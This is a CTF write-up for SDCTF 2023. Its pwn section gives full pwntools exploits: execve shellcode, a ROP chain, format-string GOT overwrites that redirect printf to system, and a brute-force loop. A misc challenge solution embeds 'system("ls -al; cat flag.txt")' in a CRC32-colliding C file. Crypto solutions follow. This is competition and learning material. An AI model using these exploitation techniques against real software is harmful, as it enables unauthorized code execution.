SDCTF 2023 Writeup

I was so excited to participate in my first SDCTF event as an incoming student of UC San Diego. :-) It was a great opportunity to learn new skills, meet awesome people and have fun solving challenges. I really enjoyed the experience and I can’t wait for the next one!

PWN

Turtle Shell

Bypass the checking with add rax, 0x1

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *

sh = process("./turtle-shell")
sh = remote("turtle.sdc.tf", 1337)
context.arch = 'amd64'

shellcode = """
xor rsi, rsi
push rsi
mov rdi, 0x68732f2f6e69622f
push rdi
push rsp
pop rdi
mov al, 58
add al, 1
cdq
syscall
"""
#gdb.attach(sh)
sh.sendlineafter(b'shell', asm(shellcode))
sh.interactive()

tROPic-thunder

Use open, read and write to read flag

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
from pwn import *

sh = process("./tROPic-thunder")
sh = remote("thunder.sdc.tf",1337)
context.arch = "amd64"
# Gadgets

pop_rdi_ret = 0x00000000004006a6
pop_rsi_ret = 0x000000000040165c
pop_rdx_ret = 0x00000000004589f5
pop_rax_ret = 0x00000000004005af
syscall_ret = 0x0000000000459747
bss = 0x00000000006D93A0
prompt = 0x00000000004C4A7F
payload = flat([
pop_rsi_ret,
prompt,
pop_rax_ret,
1,
pop_rdi_ret,
1,
pop_rdx_ret,
5,
syscall_ret,

pop_rdi_ret,
0,
pop_rsi_ret,
bss,
pop_rdx_ret,
0x100,
pop_rax_ret,
0,
syscall_ret,

pop_rdi_ret,
bss,
pop_rsi_ret,
0,
pop_rdx_ret,
0,
pop_rax_ret,
2,
syscall_ret,

pop_rdi_ret,
3,
pop_rsi_ret,
bss,
pop_rdx_ret,
0x100,
pop_rax_ret,
0,
syscall_ret,

pop_rsi_ret,
bss,
pop_rax_ret,
1,
pop_rdi_ret,
1,
pop_rdx_ret,
0x100,
syscall_ret,

])
#gdb.attach(sh,'b *0x400c6a\nc')

payload = b'a'*(112+8)+payload
sh.sendlineafter(b'!', payload)

sh.sendlineafter(b'send', b'./flag.txt\x00')

sh.interactive()

money-printer

1
2
3
4
5
6
7
8
9
10
11
if ( v6 > 0x3E8 )
{
printf(
"wow you've printed money out of thin air, you have %u!!! Is there anything you would like to say to the audience?\n",
v6);
fgets(format, 100, stdin);
printf("wow you said: ");
printf(format);
puts("\nthat's truly fascinating!");
exit(0);
}

v6 is unsigned int but all check against v4 is signed operation, so we can bypass the check with negative number.
Then use the format string to leak flag.

1
2
3
4
5
6
7
8
9
from pwn import *

sh = process("./money-printer")
sh = remote("money.sdc.tf", 1337)
tob = lambda x: str(x).encode()

money = 0xFFFFFB00
sh.sendlineafter(b"?", tob(money))
sh.interactive()
1
2
3
4
5
6
7
from pwn import *

arr = [0x22c3260,0x34647b6674636473,0x665f7530795f6e6d,0x435f345f446e7530,0x304d345f597a3472,0x4d5f66305f374e75,0x79336e30]
for i in arr:
# convert to string
# print(bytes.fromhex(hex(i)[2:]).decode('utf-8'), end='')
print(p64(i).decode(), end="")

money-printer2

I didn’t manage to brute force the address before the CTF ended, but I still want to note down the solution.

Notice that there are some residual address on the stack

1
2
3
4
5
6
7
8
0x00007ffc91e56ce0│+0x0000: 0xfffffb0000000000   ← $rsp
0x00007ffc91e56ce8│+0x0008: 0xfffffef2800004f5
0x00007ffc91e56cf0│+0x0010: 0x0000000000000000 ← $rdi
0x00007ffc91e56cf8│+0x0018: 0x0000000000000000
0x00007ffc91e56d00│+0x0020: 0x000000000000000b ("
"?)
0x00007ffc91e56d08│+0x0028: 0x00007f4026c02660 → push rbp
0x00007ffc91e56d10│+0x0030: 0x00007ffc91e56d78 → 0x00007ffc91e56e48 → 0x00007ffc91e58170 → "./money-printer2"

0x00007f4026c02660 is in ld.so and 0x00007ffc91e56d78 points the the stack.

So we basically have two approach:

rtld_global

Partially overwrite the address of ld.so, make it point to _rtld_global+3840, where the rtld_lock_default_lock_recursive is stored.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
  void
_dl_fini (void)
{
/* Lots of fun ahead. We have to call the destructors for all still
loaded objects, in all namespaces. The problem is that the ELF
specification now demands that dependencies between the modules
are taken into account. I.e., the destructor for a module is
called before the ones for any of its dependencies.

To make things more complicated, we cannot simply use the reverse
order of the constructors. Since the user might have loaded objects
using `dlopen' there are possibly several other modules with its
dependencies to be taken into account. Therefore we have to start
determining the order of the modules once again from the beginning. */

/* We run the destructors of the main namespaces last. As for the
other namespaces, we pick run the destructors in them in reverse
order of the namespace ID. */
#ifdef SHARED
int do_audit = 0;
again:
#endif
for (Lmid_t ns = GL(dl_nns) - 1; ns >= 0; --ns)
{
/* Protect against concurrent loads and unloads. */
__rtld_lock_lock_recursive (GL(dl_load_lock));

unsigned int nloaded = GL(dl_ns)[ns]._ns_nloaded;
/* No need to do anything for empty namespaces or those used for
auditing DSOs. */
if (nloaded == 0
#ifdef SHARED
|| GL(dl_ns)[ns]._ns_loaded->l_auditing != do_audit
#endif
)
__rtld_lock_unlock_recursive (GL(dl_load_lock));
// .........
}
// .........
// .........
// .........
// .........
// .........
}

And

1
2
3
4
5
6
7
8
9
10
11
12
# define __rtld_lock_lock_recursive(NAME) \
GL(dl_rtld_lock_recursive) (&(NAME).mutex)

# define __rtld_lock_unlock_recursive(NAME) \
GL(dl_rtld_unlock_recursive) (&(NAME).mutex)
#else
# define __rtld_lock_lock_recursive(NAME) \
__libc_maybe_call (__pthread_mutex_lock, (&(NAME).mutex), 0)

# define __rtld_lock_unlock_recursive(NAME) \
__libc_maybe_call (__pthread_mutex_unlock, (&(NAME).mutex), 0)
#endif

_dl_fini() will be registered by _cxa_atexit in __libc_start_main(). And _dl_fini() will be called by __run_exit_handlers() when the program exits. And rtld_lock_default_lock_recursive will be called by _dl_fini(). So if we overwrite this field, we can jump back to main when the program exits. Then turn the challenge into a normal format string challenge.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
from pwn import *
import sys
import tty

# $r14 : 0x00007fffffffdc40 → 0x00007ffff7e2b170 → 0x0000000000000000

def hack(debug=False):
REMOTE_MODE = 0

REMOTE_MODE = int(sys.argv[1])

sh = process("./money-printer2",stdin=PTY,raw=False)
#sh = None
if REMOTE_MODE == 1:
sh = remote("greed.sdc.tf", 1337)
context.arch = "amd64"

backdoor = 0x00000000004008F2
exit_got = 0x601020
tob = lambda x: str(x).encode()

if REMOTE_MODE == 0 and debug == True:
pass

sh.sendlineafter(b"?", tob(0xFFFFFB00))

payload = b"%4196096c%11$lln"
payload = payload.ljust(0x18, b'\x41')+b'\x60\xaf'
sh.sendlineafter(b'?', payload+b'\4\4')
printf_got = 0x601038
system_plt = 0x4006B0
sh.sendlineafter(b"?", tob(0xFFFFFB00))
sh.sendlineafter(b'?', fmtstr_payload(8, {printf_got: system_plt}))
sh.sendlineafter(b"me!", tob(0xFFFFFB00))
sleep(1)
sh.sendline(b'cat flag; cat flag.txt; cat flag*')
return sh

i = 0
#context.log_level = 'debug'
# sh = hack(False)
# sh.interactive()
while True:
print("{}".format(i))
i += 1
try:
sh = hack(sys.argv[2] == 'debug')
except EOFError:
print("Failed")
else:
print("Success")
dt = sh.recvuntil(b'}')
with open("getflag.txt", "wb") as f:
f.write(dt)
sh.interactive()
exit(0)

Canary

There are also some residual stack pointers on the stack. We can partially overwrite them and make them point to the canary. Then overwrite the GOT entry of __stack_chk_fail to main and turn the challenge into a normal format string challenge.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
from pwn import *
import sys
import tty

# $r14 : 0x00007fffffffdc40 → 0x00007ffff7e2b170 → 0x0000000000000000

def hack(debug=False):
REMOTE_MODE = 0

REMOTE_MODE = int(sys.argv[1])

sh = process("./money-printer2",stdin=PTY,raw=False)
if REMOTE_MODE == 1:
sh = remote("greed.sdc.tf", 1337)
context.arch = "amd64"

backdoor = 0x00000000004008F2
exit_got = 0x601020
tob = lambda x: str(x).encode()

if REMOTE_MODE == 0 and debug == True:
pass

sh.sendlineafter(b"?", tob(0xFFFFFB00))

payload = b"%4196096c%11$lln"
payload = payload.ljust(0x18, b'\x41')+b'\x60\xaf'
sh.sendlineafter(b'?', payload+b'\4\4')
#sleep(15)
r = sh.recvuntil(b'\x60\xaf', timeout=1)
if b'\x60\xaf' not in r:
raise EOFError
r = sh.recvuntil(b'gotten me', timeout=1)
if b'gotten me' not in r:
raise EOFError
return sh

i = 0
context.log_level = 'debug'
while True:
print("{}".format(i))
i += 1
try:
sh = hack(True)
except EOFError:
print("Failed")
else:
print("Success")
sh.interactive()
exit(0)

Didn’t have the luck to hit the 1/4096 probability :(

Misc

Secure Runner

CRC32 collision. Easy to find with https://github.com/theonlypwner/crc32/

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
#include <stdio.h>
#include <math.h>
#include <stdlib.h>
#include <time.h>

#define NUM_GUESS 10

int main() {
srand(time(NULL));
system("ls -al; cat flag.txt");
unsigned int num_guesses = NUM_GUESS;
unsigned int max = (unsigned int)pow(2, num_guesses) - 1;
unsigned int secret = rand() % max;

printf("Guess a number from 0 to %u in %u guesses:\n", max, num_guesses);

while(num_guesses > 0) {
if (num_guesses != NUM_GUESS) {
printf("Next Guess (%u left):\n", num_guesses);
}
fflush(stdout);
unsigned int guess = 0;
scanf("%u",&guess);
if (guess == secret) {
printf("Congrats, you won!\n");
return 0;
}
if (secret < guess) {
printf("Number is lower! ");
} else {
printf("Number is higher! ");
}
fflush(stdout);
num_guesses--;
}
printf("You ran out of guesses :(\n");
return 0;
}

#define SduBPZpheWz

Fork bomb protector

Use the built-in command to read the flag.

1
2
3
4
5
echo *
while read -r data;
do
echo "$data";
done < "flag.txt";

Crypto

Jumbled snake

First, recover the key with
the_quick_brown_fox_jumps_over_the_lazy_dog
By regex matching, we can find the pattern easily.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import re
if __name__ == "__main__":
match = None
with open ('print_flag.py.enc', 'r') as f:
code = f.read()
print(code)
charset = string.printable
for I in charset:
# find pattern xxxIxxxxxIxxxxxIxxxIxxxxxIxxxxIxxxIxxxxIxxx
# I is a printable character
# x is arbitrary character
regex = '...'+I+'.....'+I+'.....'+I+'...'+I+'.....'+I+'....'+I+'...'+I+'....'+I+'...'
match = re.search(regex, code)
if match:
print(match)
print(I)
print(match)
# get the matched string
break

Now recover the key with __doc__

1
2
3
4
5
6
7
8
9
10
11
12
13
origin = "the_quick_brown_fox_jumps_over_the_lazy_dog"
encoded = match.group()
span = match.span()
key = {}
for i in range(len(origin)):
key[encoded[i]] = origin[i]
with open('print_flag.py.enc', 'r') as f:
e = f.read()
encoded = "': 123456789.0, 'items':[]}"
i = 0
while i < len(encoded):
key[e[i+span[1]]] = encoded[i]
i+=1

Some keys can be identified by ourself now

1
2
3
4
5
6
7
8
key['y'] = '{'
key[']'] = '"'
key['b'] = '\n'
key['J'] = '='
key['^'] = '('
key['g'] = ')'
key['.'] = '#'
key['='] = '!'

Now try to recover the script, we can notice the second hint.

1
decode_flag.__doc__.upper()[2:45] == reverse(check.__doc__)

And recover the script with this hint.

1
2
3
4
5
6
7
8
9
    origin = "{'the_quick_brown_fox_jumps_over_the_lazy_dog':"
check_doc = """F+
_f5}I_7|0_17s+_B&N)K_n+(_,O+1q_CQ*)`_7|0"""
check_doc = list(reversed(check_doc))
origin_upper = origin.upper()[2:45]

for i in range(len(origin_upper)):
if check_doc[i] not in key:
key[check_doc[i]] = origin_upper[i]

And finally we have

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
import os
import secrets
import string

def get_rand_key(charset: str = string.printable):
chars_left = list(charset)
key = {}
for char in charset:
val = secrets.choice(chars_left)
chars_left.remove(val)
key[char] = val
assert not chars_left
return key

def subs(msg: str, key) -> str:
return ''.join(key[c] for c in msg)

# 3 5 5 3 5 4 3 4 3
import re
if __name__ == "__main__":
match = None
with open ('print_flag.py.enc', 'r') as f:
code = f.read()
print(code)
charset = string.printable
for I in charset:
# find pattern xxxIxxxxxIxxxxxIxxxIxxxxxIxxxxIxxxIxxxxIxxx
# I is a printable character
# x is arbitrary character
regex = '...'+I+'.....'+I+'.....'+I+'...'+I+'.....'+I+'....'+I+'...'+I+'....'+I+'...'
match = re.search(regex, code)
if match and I == 'X':
print(match)
print(I)
print(match)
# get the matched string
break
print("found")
origin = "the_quick_brown_fox_jumps_over_the_lazy_dog"
encoded = match.group()
span = match.span()
key = {}
for i in range(len(origin)):
key[encoded[i]] = origin[i]
with open('print_flag.py.enc', 'r') as f:
e = f.read()
encoded = "': 123456789.0, 'items':[]}"
i = 0
while i < len(encoded):
key[e[i+span[1]]] = encoded[i]
i+=1
key['y'] = '{'
key[']'] = '"'
key['b'] = '\n'
key['J'] = '='
key['^'] = '('
key['g'] = ')'
key['.'] = '#'
key['='] = '!'
print(key, len(key), len(string.printable))
data = ""
origin = "{'the_quick_brown_fox_jumps_over_the_lazy_dog':"
check_doc = """F+
_f5}I_7|0_17s+_B&N)K_n+(_,O+1q_CQ*)`_7|0"""
check_doc = list(reversed(check_doc))
origin_upper = origin.upper()[2:45]

for i in range(len(origin_upper)):
if check_doc[i] not in key:
key[check_doc[i]] = origin_upper[i]

print("check doc len={}".format(len(check_doc)))
with open('print_flag.py.enc', 'r') as f:
e = f.read()
for c in e:
if c in key:
data += key[c]
else:
data += c
print(data)

And finally we can have the flag

1
2
echo c2RjdGZ7VV91blJhdjNsZWRfdEgzX3NuM2shfQ== | base64 -d
sdctf{U_unRav3led_tH3_sn3k!}

Lake of Pseudo Random Fire

Notice that pseudorandom(self, msg) will decrypt the msg after XOR with 0xff. So by XORing the first part of the returned strings of pseudorandom(self, msg) we can recover the msg sent by us if it is a pseudorandom door.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import *

sh = process(["python3", "./game.py"])
sh = remote("prf.sdc.tf", 1337)
for i in range(50):
print("round: "+str(i))
data = b'00000000000000000000000000000000'
sh.sendlineafter(b'number: ', b'3')
sh.sendlineafter(b'utter: ', data)
sh.recvuntil(b"sings: ")
door1 = sh.recv(64)
sh.recvuntil(b"sings: ")
door2 = sh.recv(64)

binascii.hexlify(bytes(x ^ 0xff for x in binascii.unhexlify(door1[:32])))
sh.sendlineafter(b'number: ', b'3')
sh.sendlineafter(b'utter: ', binascii.hexlify(bytes(x ^ 0xff for x in binascii.unhexlify(door1[:32]))))
sh.recvuntil(b"sings: ")
door1 = sh.recv(64)
sh.recvuntil(b"sings: ")
door2 = sh.recv(64)

if data in door1:
sh.sendlineafter(b'number: ', b'2')
else:
sh.sendlineafter(b'number: ', b'1')

sh.interactive()